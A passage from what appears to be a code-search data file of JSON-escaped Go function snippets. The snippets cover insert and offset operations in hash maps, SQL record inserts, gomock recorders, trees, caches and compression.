keyIdx%(s.hop) != 0 {\n\t\t// Key does not satisfy the hop condition.\n\t\treturn true\n\t}\n\n\ts.offsets[s.numKeys] = uint32(s.numKeyBytes)\n\tcopy(s.data[s.numKeyBytes:], key)\n\ts.numKeys++\n\ts.numKeyBytes += len(key)\n\n\treturn true\n}", "func (mp *mirmap) insert(k voidptr, v voidptr) bool {\n\tmp.expand()\n\n\t// mp.keyalg.hash(&k, mp.keysz) // TODO compiler\n\tfnptr := mp.keyalg.hash\n\thash := fnptr(k, mp.keysz)\n\tidx := hash % usize(mp.cap_)\n\t// println(idx, hash, mp.cap_)\n\n\tvar onode *mapnode = mp.ptr[idx]\n\tfor onode != nil {\n\t\tif onode.hash == hash {\n\t\t\t// println(\"replace\", idx, k)\n\t\t\tmemcpy3(onode.val, v, mp.valsz)\n\t\t\treturn true\n\t\t}\n\t\tonode = onode.next\n\t}\n\n\tnode := &mapnode{}\n\t// node.key = k\n\t// node.val = v\n\tnode.key = malloc3(mp.keysz)\n\tmemcpy3(node.key, k, mp.keysz)\n\tnode.val = malloc3(mp.valsz)\n\tmemcpy3(node.val, v, mp.valsz)\n\tnode.hash = hash\n\tnode.next = mp.ptr[idx]\n\n\t// println(\"insert\", mp.len_, idx, mp.cap_, node)\n\tmp.ptr[idx] = node\n\tmp.len_++\n\n\treturn true\n}", "func (am AttributeMap) InsertNull(k string) {\n\tif _, existing := am.Get(k); !existing {\n\t\t*am.orig = append(*am.orig, newAttributeKeyValueNull(k))\n\t}\n}", "func (c *Cache) incrementOffset(key string, initial, offset, ttl int64) error {\n\tc.client.Do(\"WATCH\", key)\n\n\tif err := c.exists(key); err != nil {\n\t\tc.client.Do(\"MULTI\")\n\t\tdefer c.client.Do(\"EXEC\")\n\t\treturn c.Set(key, encoding.Int64Bytes(initial), ttl)\n\t}\n\n\tgetValue, _, err := c.Get(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tval, ok := encoding.BytesInt64(getValue)\n\n\tif !ok {\n\t\treturn errors.NewEncoding(key)\n\t}\n\n\t// We are watching our key. With using a transaction, we can check that this\n\t// increment doesn't inflect with another concurrent request that might\n\t// happen.\n\tc.client.Do(\"MULTI\")\n\tdefer c.client.Do(\"EXEC\")\n\n\tval += offset\n\tif val < 0 {\n\t\treturn errors.NewValueBelowZero(key)\n\t}\n\n\treturn c.Set(key, encoding.Int64Bytes(val), ttl)\n}", "func (ua *UserAddress) Insert(ctx context.Context, key ...interface{}) error {\n\tvar err error\n\tvar dbConn *sql.DB\n\tvar res sql.Result\n\t// if already exist, bail\n\tif ua._exists {\n\t\treturn errors.New(\"insert failed: already exists\")\n\t}\n\n\ttx, err := components.M.GetConnFromCtx(ctx)\n\tif err != nil {\n\t\tdbConn, err = components.M.GetMasterConn()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttableName, err := GetUserAddressTableName(key...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// sql insert query, primary key provided by autoincrement\n\tsqlstr := `INSERT INTO ` + tableName +\n\t\t` (` +\n\t\t`uid, province_id, city_id, district_id, address, street, postcode, contact, phone, mobile, email, is_default, buid` +\n\t\t`) VALUES (` +\n\t\t`?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?` +\n\t\t`)`\n\n\t// run query\n\tutils.GetTraceLog(ctx).Debug(\"DB\", zap.String(\"SQL\", fmt.Sprint(sqlstr, ua.UID, ua.ProvinceID, ua.CityID, ua.DistrictID, ua.Address, ua.Street, ua.Postcode, ua.Contact, ua.Phone, ua.Mobile, ua.Email, ua.IsDefault, ua.Buid)))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif tx != nil {\n\t\tres, err = tx.Exec(sqlstr, ua.UID, ua.ProvinceID, ua.CityID, ua.DistrictID, ua.Address, ua.Street, ua.Postcode, ua.Contact, ua.Phone, ua.Mobile, ua.Email, ua.IsDefault, ua.Buid)\n\t} else {\n\t\tres, err = dbConn.Exec(sqlstr, ua.UID, ua.ProvinceID, ua.CityID, ua.DistrictID, ua.Address, ua.Street, ua.Postcode, ua.Contact, ua.Phone, ua.Mobile, ua.Email, ua.IsDefault, ua.Buid)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// retrieve id\n\tid, err := res.LastInsertId()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// set primary key and existence\n\tua.Uaid = uint(id)\n\tua._exists = true\n\n\treturn nil\n}", "func (d *DB) Insert(keyVal *Pair) (bool, error) {\n\t// find insert position\n\tfound, cursor := recursiveSearch(keyVal.Key, d.root)\n\tif found && noDup { // found dup key\n\t\tkv := getKeyVal(cursor)\n\t\tlog.Printf(\"found dup key: %v -> %v\\n\", *keyVal, *kv)\n\t\tsetKeyVal(cursor, keyVal) // overwrite dup key\n\t\treturn true, nil\n\t}\n\tif cursor.Node == nil {\n\t\tlog.Panic(\"found invalid cursor!\")\n\t}\n\t// insert this kv pair first to make it really full;\n\tok, err := d.insertIntoNode(cursor, keyVal)\n\tif !ok {\n\t\tlog.Printf(\"failed insertIntoNode - cursor:%v, kv:%v\", cursor, keyVal)\n\t\treturn false, err\n\t}\n\treturn true, nil\n}", "func (s *Service) arcInsert(arc *ugcmdl.ArchDatabus) (err error) {\n\tif exist := s.arcExist(arc.Aid); exist {\n\t\tappDao.PromError(\"DsInsert:Exist\")\n\t\tlog.Error(\"Databus Insert Data Aid %d Exist\", arc.Aid)\n\t\treturn\n\t}\n\tif err = s.importArc(context.Background(), arc.Aid, false); err != nil {\n\t\tappDao.PromError(\"DsInsert:Err\")\n\t\tlog.Error(\"Databus Import Arc %d Error %v\", arc.Aid, err)\n\t\treturn\n\t}\n\tappDao.PromInfo(\"DsInsert:Succ\")\n\treturn\n}", "func (mr *MockTrustDBMockRecorder) InsertCustKey(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InsertCustKey\", reflect.TypeOf((*MockTrustDB)(nil).InsertCustKey), arg0, arg1, arg2)\n}", "func (mr *MockFormatterMockRecorder) AccessTokenFromAuthorizationRequestInsertable(r, application interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"AccessTokenFromAuthorizationRequestInsertable\", reflect.TypeOf((*MockFormatter)(nil).AccessTokenFromAuthorizationRequestInsertable), r, application)\n}", "func (mr *MockDestinationRuleSetMockRecorder) Insert(destinationRule ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Insert\", reflect.TypeOf((*MockDestinationRuleSet)(nil).Insert), destinationRule...)\n}", "func (kg *groupKeyList) InsertAt(key flux.GroupKey) int {\n\tif kg.Last().Less(key) {\n\t\treturn len(kg.elements)\n\t}\n\treturn sort.Search(len(kg.elements), func(i int) bool {\n\t\treturn !kg.elements[i].key.Less(key)\n\t})\n}", "func (e *Entries) AddStakePkScript(script []byte) {\n\t*e = append(*e, script[1:])\n}", "func (nsc *NilConsumerStatsCollector) AddCheckpointInsert(int) {}", "func (sks *SQLSKUStore) Insert(s *model.SKU) (*model.SKU, error) {\n\ts.SKUID = uuid.NewV4().String()\n\ts.CreatedAt = time.Now().UnixNano()\n\ts.UpdatedAt = s.CreatedAt\n\terr := sks.SQLStore.Tx.Insert(s)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"[SQLKUStore] error in calling Insert: %v\", err)\n\t}\n\n\treturn s, err\n}", "func (s *BasePlSqlParserListener) EnterOffset_clause(ctx *Offset_clauseContext) {}", "func (s *DNSSeeder) addNa(nNa *wire.NetAddress) bool {\n\n\tif len(s.nodes) > s.maxSize {\n\t\treturn false\n\t}\n\n\tif nNa.Port != s.Port {\n\t\treturn false\n\t}\n\n\t// generate the key and add to nodes\n\tk := net.JoinHostPort(nNa.IP.String(), strconv.Itoa(int(nNa.Port)))\n\n\tif _, dup := s.nodes[k]; dup == true {\n\t\treturn false\n\t}\n\n\t// if the reported timestamp suggests the netaddress has not been seen in the last 24 hours\n\t// then ignore this netaddress\n\tif (time.Now().Add(-(time.Hour * 24))).After(nNa.Timestamp) {\n\t\treturn false\n\t}\n\n\tnt := node{\n\t\tna: nNa,\n\t\tstatus: statusRG,\n\t\tdnsType: dns.TypeA,\n\t}\n\n\t// select the dns type based on the remote address type and port\n\tif x := nt.na.IP.To4(); x == nil {\n\t\tnt.dnsType = dns.TypeAAAA\n\t}\n\n\t// add the new node details to nodes\n\ts.nodes[k] = &nt\n\n\treturn true\n}", "func (d *Database) Insert(db DB, table string, src interface{}) error {\n\tpkName, pkValue, err := d.PrimaryKey(src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif pkName != \"\" && pkValue != 0 {\n\t\treturn fmt.Errorf(\"meddler.Insert: primary key must be zero\")\n\t}\n\n\t// gather the query parts\n\tnamesPart, err := d.ColumnsQuoted(src, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvaluesPart, err := d.PlaceholdersString(src, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvalues, err := d.Values(src, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// run the query\n\tq := fmt.Sprintf(\"INSERT INTO %s (%s) VALUES (%s)\", d.quoted(table), namesPart, valuesPart)\n\tif d.UseReturningToGetID && pkName != \"\" {\n\t\tq += \" RETURNING \" + d.quoted(pkName)\n\t\tvar newPk int64\n\t\terr := db.QueryRow(q, values...).Scan(&newPk)\n\t\tif err != nil {\n\t\t\treturn &dbErr{msg: \"meddler.Insert: DB error in QueryRow\", err: err}\n\t\t}\n\t\tif err = d.SetPrimaryKey(src, newPk); err != nil {\n\t\t\treturn fmt.Errorf(\"meddler.Insert: Error saving updated pk: %v\", err)\n\t\t}\n\t} else if pkName != \"\" {\n\t\tresult, err := db.Exec(q, values...)\n\t\tif err != nil {\n\t\t\treturn &dbErr{msg: \"meddler.Insert: DB error in Exec\", err: err}\n\t\t}\n\n\t\t// save the new primary key\n\t\tnewPk, err := result.LastInsertId()\n\t\tif err != nil {\n\t\t\treturn &dbErr{msg: \"meddler.Insert: DB error getting new primary key value\", err: err}\n\t\t}\n\t\tif err = d.SetPrimaryKey(src, newPk); err != nil {\n\t\t\treturn fmt.Errorf(\"meddler.Insert: Error saving updated pk: %v\", err)\n\t\t}\n\t} else {\n\t\t// no primary key, so no need to lookup new value\n\t\t_, err := db.Exec(q, values...)\n\t\tif err != nil {\n\t\t\treturn &dbErr{msg: \"meddler.Insert: DB error in Exec\", err: err}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (mr *MockRepositoryMockRecorder) InsertInto(tag interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InsertInto\", reflect.TypeOf((*MockRepository)(nil).InsertInto), tag)\n}", "func (d *DirectAddress) Insert(key int, value interface{}) {\n\tif err := d.validateKey(key); err != nil {\n\t\treturn\n\t}\n\td.array[key-d.uMin] = value\n}", "func (t *TST) Insert(s string, val interface{}) bool {\n\tif !t.Find(s) {\n\t\tt.Size++\n\t}\n\treturn t.root.rinsert(s, val) != nil\n}", "func (mr *MockFormatterMockRecorder) AccessTokenFromOauthAccessGrantInsertable(oauthAccessGrant, application interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"AccessTokenFromOauthAccessGrantInsertable\", reflect.TypeOf((*MockFormatter)(nil).AccessTokenFromOauthAccessGrantInsertable), oauthAccessGrant, application)\n}", "func (am AttributeMap) Insert(k string, v AttributeValue) {\n\tif _, existing := am.Get(k); !existing {\n\t\t*am.orig = append(*am.orig, newAttributeKeyValue(k, v))\n\t}\n}", "func (am AttributeMap) Insert(k string, v AttributeValue) {\n\tif _, existing := am.Get(k); !existing {\n\t\t*am.orig = append(*am.orig, newAttributeKeyValue(k, v))\n\t}\n}", "func (os *Offsets) AddOffset(t string, p int32, o int64) {\n\tos.Add(Offset{\n\t\tTopic: t,\n\t\tPartition: p,\n\t\tOffset: o,\n\t\tLeaderEpoch: -1,\n\t})\n}", "func (mr *MockFormatterMockRecorder) AccessTokenFromOauthRefreshTokenInsertable(application, accessToken interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"AccessTokenFromOauthRefreshTokenInsertable\", reflect.TypeOf((*MockFormatter)(nil).AccessTokenFromOauthRefreshTokenInsertable), application, accessToken)\n}", "func incr_offset() {\n\toffset = offset + 1\n}", "func (s *SkipList) Insert(key Comparable) bool {\n\t_, created, _ := s.findOrCreate(key, true)\n\treturn created\n}", "func (i *Index) AddSrc(src Src) bool {\n\tfor _, s := range i.Srcs {\n\t\tif s.SrcID == src.SrcID {\n\t\t\treturn false\n\t\t}\n\t}\n\ti.Srcs = append(i.Srcs, src)\n\treturn true\n}", "func (tc *testContext) checkPubKeyAnnotation(node *core.Node) (bool, error) {\n\t_, pubKey, err := tc.getExpectedKeyPair()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tpubKeyAnnotation := nc.CreatePubKeyHashAnnotation(pubKey)\n\tif pubKeyAnnotation != node.Annotations[nc.PubKeyHashAnnotation] {\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}", "func (mr *MockCacheMockRecorder) InsertOrderBookRow(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InsertOrderBookRow\", reflect.TypeOf((*MockCache)(nil).InsertOrderBookRow), arg0)\n}", "func (i *InsertFactBuilder) SOffset(offset int32) *InsertFactBuilder {\n\ti.fact.Subject = koOffset(offset)\n\treturn i\n}", "func (ksq *KqiSourceQuery) Offset(offset int) *KqiSourceQuery {\n\tksq.offset = &offset\n\treturn ksq\n}", "func (b *blockEnc) matchOffset(offset, lits uint32) uint32 {\n\t// Check if offset is one of the recent offsets.\n\t// Adjusts the output offset accordingly.\n\t// Gives a tiny bit of compression, typically around 1%.\n\tif true {\n\t\tif lits > 0 {\n\t\t\tswitch offset {\n\t\t\tcase b.recentOffsets[0]:\n\t\t\t\toffset = 1\n\t\t\tcase b.recentOffsets[1]:\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 2\n\t\t\tcase b.recentOffsets[2]:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 3\n\t\t\tdefault:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset += 3\n\t\t\t}\n\t\t} else {\n\t\t\tswitch offset {\n\t\t\tcase b.recentOffsets[1]:\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 1\n\t\t\tcase b.recentOffsets[2]:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 2\n\t\t\tcase b.recentOffsets[0] - 1:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 3\n\t\t\tdefault:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset += 3\n\t\t\t}\n\t\t}\n\t} else {\n\t\toffset += 3\n\t}\n\treturn offset\n}", "func createOffsetSchema(ctx context.Context, db *sql.DB) {\n\tsqlx.Exec(\n\t\tctx,\n\t\tdb,\n\t\t`CREATE TABLE IF NOT EXISTS stream_offset (\n\t\t\tapp_key VARBINARY(255) NOT NULL,\n\t\t\tsource_app_key VARBINARY(255) NOT NULL,\n\t\t\tnext_offset BIGINT NOT NULL,\n\n\t\t\tPRIMARY KEY (app_key, source_app_key)\n\t\t) ENGINE=InnoDB`,\n\t)\n}", "func (s *dataSet) Add(bts []byte, ord uint64) bool {\n\tsz := len(bts) + 8\n\tif s.idxWritten+s.dataWritten+sz+entrySize > len(s.buf) {\n\t\treturn false\n\t}\n\n\t// write data\n\ts.dataPtr -= sz\n\ts.dataWritten += sz\n\tbinary.LittleEndian.PutUint64(s.buf[s.dataPtr:], ord)\n\tcopy(s.buf[s.dataPtr+8:], bts)\n\n\t// write idx\n\tbinary.LittleEndian.PutUint32(s.buf[s.idxPtr:], uint32(sz))\n\tbinary.LittleEndian.PutUint32(s.buf[s.idxPtr+4:], uint32(s.dataPtr))\n\ts.idxPtr += entrySize\n\ts.idxWritten += entrySize\n\n\treturn true\n}", "func (c *OrderedMap) Insert(index int, key string, value interface{}) (interface{}, bool) {\n\toldValue, exists := c.Map[key]\n\tc.Map[key] = value\n\tif exists {\n\t\treturn oldValue, true\n\t}\n\tif index == len(c.Keys) {\n\t\tc.Keys = append(c.Keys, key)\n\t} else {\n\t\tc.Keys = append(c.Keys[:index+1], c.Keys[index:]...)\n\t\tc.Keys[index] = key\n\t}\n\treturn nil, false\n}", "func (n *node) casNextNodeOffset(level uint8, old uint32, new uint32) bool {\n\treturn atomic.CompareAndSwapUint32(&n.layers[level], old, new)\n}", "func (cl *Client) addOffsetsToTxn(ctx context.Context, group string) error {\n\tid, epoch, err := cl.producerID()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcl.cfg.logger.Log(LogLevelInfo, \"issuing AddOffsetsToTxn\",\n\t\t\"txn\", *cl.cfg.txnID,\n\t\t\"producerID\", id,\n\t\t\"producerEpoch\", epoch,\n\t\t\"group\", group,\n\t)\n\tresp, err := (&kmsg.AddOffsetsToTxnRequest{\n\t\tTransactionalID: *cl.cfg.txnID,\n\t\tProducerID: id,\n\t\tProducerEpoch: epoch,\n\t\tGroup: group,\n\t}).RequestWith(ctx, cl)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn kerr.ErrorForCode(resp.ErrorCode)\n}", "func (c *caches) upsert(nu *answer) (inserted bool) {\n\tif nu == nil || nu.msg == nil {\n\t\treturn\n\t}\n\n\tc.Lock()\n\n\tanswers, found := c.v[nu.qname]\n\tif !found {\n\t\tinserted = true\n\t\tc.v[nu.qname] = newAnswers(nu)\n\t\tif nu.receivedAt > 0 {\n\t\t\tnu.el = c.lru.PushBack(nu)\n\t\t}\n\t} else {\n\t\tan := answers.upsert(nu)\n\t\tif an == nil {\n\t\t\tinserted = true\n\t\t\tif nu.receivedAt > 0 {\n\t\t\t\t// Push the new answer to LRU if new answer is\n\t\t\t\t// not local and its inserted to list.\n\t\t\t\tnu.el = c.lru.PushBack(nu)\n\t\t\t}\n\t\t}\n\t}\n\n\tc.Unlock()\n\n\treturn inserted\n}", "func (mr *MockCacheMockRecorder) InsertEntry(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InsertEntry\", reflect.TypeOf((*MockCache)(nil).InsertEntry), arg0)\n}", "func (j *DSGitHub) SupportOffsetFrom() bool {\n\treturn false\n}", "func (shard *hashShard) searchToInsert(key KeyType, hashValue IndexType) IndexType {\n\t// hval := shard.mhash(key)\n\tvar x IndexType = 0\n\tidx := (hashValue%IndexType(len(*shard.data)) + shard.probe(x)) % IndexType(len(*shard.data))\n\n\tfor (*shard.data)[idx].isOccupied {\n\t\tx++\n\t\tidx = (hashValue%IndexType(len(*shard.data)) + shard.probe(x)) % IndexType(len(*shard.data))\n\t}\n\treturn idx\n}", "func (i *InsertFactBuilder) OOffset(offset int32) *InsertFactBuilder {\n\ti.fact.Object = AKIDOffset(offset)\n\treturn i\n}", "func (t *Testzzz) Insert(ctx context.Context, key ...interface{}) error {\n\tvar err error\n\tvar dbConn *sql.DB\n\tvar res sql.Result\n\t// if already exist, bail\n\tif t._exists {\n\t\treturn errors.New(\"insert failed: already exists\")\n\t}\n\n\ttx, err := components.M.GetConnFromCtx(ctx)\n\tif err != nil {\n\t\tdbConn, err = components.M.GetMasterConn()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttableName, err := GetTestzzzTableName(key...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// sql insert query, primary key provided by autoincrement\n\tsqlstr := `INSERT INTO ` + tableName +\n\t\t` (` +\n\t\t`a, b, c` +\n\t\t`) VALUES (` +\n\t\t`?, ?, ?` +\n\t\t`)`\n\n\t// run query\n\tutils.GetTraceLog(ctx).Debug(\"DB\", zap.String(\"SQL\", fmt.Sprint(sqlstr, t.A, t.B, t.C)))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif tx != nil {\n\t\tres, err = tx.Exec(sqlstr, t.A, t.B, t.C)\n\t} else {\n\t\tres, err = dbConn.Exec(sqlstr, t.A, t.B, t.C)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// retrieve id\n\tid, err := res.LastInsertId()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// set primary key and existence\n\tt.ID = int(id)\n\tt._exists = true\n\n\treturn nil\n}", "func (b *BTree) insertInNodeAtIdx(n *memNode, item *Item, i int) {\n\ts := n.node.Items\n\ts = append(s, nil)\n\tif i < len(s) {\n\t\tcopy(s[i+1:], s[i:])\n\t}\n\ts[i] = item\n\tn.node.Items = s\n}", "func (_Authority *AuthorityTransactorSession) MarkPubKeyAsUsed(pubKey string, sender common.Address) (*types.Transaction, error) {\n\treturn _Authority.Contract.MarkPubKeyAsUsed(&_Authority.TransactOpts, pubKey, sender)\n}", "func (o *Operation) insertMarker(m *Marker) error {\n\t_, err := db.Exec(\"INSERT INTO marker (ID, opID, PortalID, type, comment) VALUES (?, ?, ?, ?, ?)\",\n\t\tm.ID, o.ID, m.PortalID, m.Type, m.Comment)\n\tif err != nil {\n\t\tLog.Error(err)\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *RandomizedSet) Insert(val int) bool {\n\tif _, ok := s.table[val]; ok {\n\t\treturn false\n\t}\n\tn := len(s.arr)\n\ts.table[val] = n\n\ts.arr = append(s.arr, val)\n\n\treturn true\n}", "func (mr *MockMessageRepositoryMockRecorder) InsertRemind(ctx, entity, ExecuteAt interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InsertRemind\", reflect.TypeOf((*MockMessageRepository)(nil).InsertRemind), ctx, entity, ExecuteAt)\n}", "func (mod *Modifier) insertSource(source []byte) (from, to int) {\n\troot := mod.Root()\n\torgLen := len(root.source)\n\tfrom, to = orgLen, orgLen+len(source)\n\tif from < to {\n\t\troot.source = append(root.source, source...)\n\t} else {\n\t\tto = from\n\t}\n\treturn\n}", "func (mr *MockAccessControlPolicySetMockRecorder) Insert(accessControlPolicy ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Insert\", reflect.TypeOf((*MockAccessControlPolicySet)(nil).Insert), accessControlPolicy...)\n}", "func (p *PrivKey) checkImportedAddress(walletAddress, p2shSegwitAddress, fullPublicKey string) {\n\t// Note,\n\t// GetAccount() calls GetAddressInfo() internally\n\n\tvar (\n\t\ttargetAddr string\n\t\taddrType address.AddrType\n\t)\n\n\tswitch p.btc.CoinTypeCode() {\n\tcase coin.BTC:\n\t\ttargetAddr = p2shSegwitAddress\n\t\taddrType = address.AddrTypeP2shSegwit\n\tcase coin.BCH:\n\t\ttargetAddr = walletAddress\n\t\taddrType = address.AddrTypeBCHCashAddr\n\tdefault:\n\t\tp.logger.Warn(\"this coin type is not implemented in checkImportedAddress()\",\n\t\t\tzap.String(\"coin_type_code\", p.btc.CoinTypeCode().String()))\n\t\treturn\n\t}\n\n\t// 1.call `getaccount` by target_address\n\tacnt, err := p.btc.GetAccount(targetAddr)\n\tif err != nil {\n\t\tp.logger.Warn(\n\t\t\t\"fail to call btc.GetAccount()\",\n\t\t\tzap.String(addrType.String(), targetAddr),\n\t\t\tzap.Error(err))\n\t\treturn\n\t}\n\tp.logger.Debug(\n\t\t\"account is found\",\n\t\tzap.String(\"account\", acnt),\n\t\tzap.String(addrType.String(), targetAddr))\n\n\t// 2.call `getaddressinfo` by target_address\n\taddrInfo, err := p.btc.GetAddressInfo(targetAddr)\n\tif err != nil {\n\t\tp.logger.Warn(\n\t\t\t\"fail to call btc.GetAddressInfo()\",\n\t\t\tzap.String(addrType.String(), targetAddr),\n\t\t\tzap.Error(err))\n\t} else {\n\t\tif addrInfo.Pubkey != fullPublicKey {\n\t\t\tp.logger.Warn(\n\t\t\t\t\"pubkey is not matched\",\n\t\t\t\tzap.String(\"in_bitcoin_core\", addrInfo.Pubkey),\n\t\t\t\tzap.String(\"in_database\", fullPublicKey))\n\t\t}\n\t}\n}", "func (tv *TextView) InsertAtCursor(txt []byte) {\n\twupdt := tv.TopUpdateStart()\n\tdefer tv.TopUpdateEnd(wupdt)\n\tif tv.HasSelection() {\n\t\ttbe := tv.DeleteSelection()\n\t\ttv.CursorPos = tbe.AdjustPos(tv.CursorPos, AdjustPosDelStart) // move to start if in reg\n\t}\n\ttbe := tv.Buf.InsertText(tv.CursorPos, txt, true, true)\n\tif tbe == nil {\n\t\treturn\n\t}\n\tpos := tbe.Reg.End\n\tif len(txt) == 1 && txt[0] == '\\n' {\n\t\tpos.Ch = 0 // sometimes it doesn't go to the start..\n\t}\n\ttv.SetCursorShow(pos)\n\ttv.SetCursorCol(tv.CursorPos)\n}", "func (mr *MockHooksMockRecorder) OnInsert(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"OnInsert\", reflect.TypeOf((*MockHooks)(nil).OnInsert), arg0)\n}", "func (s *Store) InsertTxCheckIfExists(ns walletdb.ReadWriteBucket,\n\trec *TxRecord, block *BlockMeta) (bool, error) {\n\n\tvar err error\n\tif block == nil {\n\t\tif err = s.insertMemPoolTx(ns, rec); err == ErrDuplicateTx {\n\t\t\treturn true, nil\n\t\t}\n\t\treturn false, err\n\t}\n\tif err = s.insertMinedTx(ns, rec, block); err == ErrDuplicateTx {\n\t\treturn true, nil\n\t}\n\treturn false, err\n}", "func (s *SoExtFollowingWrap) update(sa *SoExtFollowing) bool {\n\tif s.dba == nil || sa == nil {\n\t\treturn false\n\t}\n\tbuf, err := proto.Marshal(sa)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tkeyBuf, err := s.encodeMainKey()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn s.dba.Put(keyBuf, buf) == nil\n}", "func (table *Table) Insert(row map[string]string) int {\n\t// Seek to EOF\n\t_, err := table.DataFile.Seek(0, 2)\n\tif err == nil {\n\t\t// For the columns in their order\n\t\tfor _, column := range table.ColumnsInOrder {\n\t\t\tvalue, exists := row[column.Name]\n\t\t\tif !exists {\n\t\t\t\tvalue = \"\"\n\t\t\t}\n\t\t\t// Keep writing the column value.\n\t\t\tstatus := table.Write(column, value)\n\t\t\tif status != st.OK {\n\t\t\t\treturn status\n\t\t\t}\n\t\t}\n\t\t// Write a new-line character.\n\t\t_, err = table.DataFile.WriteString(\"\\n\")\n\t\tif err != nil {\n\t\t\tlogg.Err(\"table\", \"Insert\", err.String())\n\t\t\treturn st.CannotWriteTableDataFile\n\t\t}\n\t} else {\n\t\tlogg.Err(\"table\", \"Insert\", err.String())\n\t\treturn st.CannotSeekTableDataFile\n\t}\n\treturn st.OK\n}", "func (sp *SalePermission) Insert(ctx context.Context, key ...interface{}) error {\n\tvar err error\n\tvar dbConn *sql.DB\n\tvar res sql.Result\n\t// if already exist, bail\n\tif sp._exists {\n\t\treturn errors.New(\"insert failed: already exists\")\n\t}\n\n\ttx, err := components.M.GetConnFromCtx(ctx)\n\tif err != nil {\n\t\tdbConn, err = components.M.GetMasterConn()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttableName, err := GetSalePermissionTableName(key...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// sql insert query, primary key must be provided\n\tsqlstr := `INSERT INTO ` + tableName +\n\t\t` (` +\n\t\t`spid, desc, action_class` +\n\t\t`) VALUES (` +\n\t\t`?, ?, ?` +\n\t\t`)`\n\n\t// run query\n\tutils.GetTraceLog(ctx).Debug(\"DB\", zap.String(\"SQL\", fmt.Sprint(sqlstr, sp.Spid, sp.Desc, sp.ActionClass)))\n\tif tx != nil {\n\t\tres, err = tx.Exec(sqlstr, sp.Spid, sp.Desc, sp.ActionClass)\n\t} else {\n\t\tres, err = dbConn.Exec(sqlstr, sp.Spid, sp.Desc, sp.ActionClass)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// set existence\n\tsp._exists = true\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// retrieve id\n\tid, err := res.LastInsertId()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// set primary key and existence\n\tsp.Spid = uint(id)\n\tsp._exists = true\n\n\treturn nil\n}", "func (mr *MockDataSourceRepoMockRecorder) Insert(arg0, arg1 interface{}) 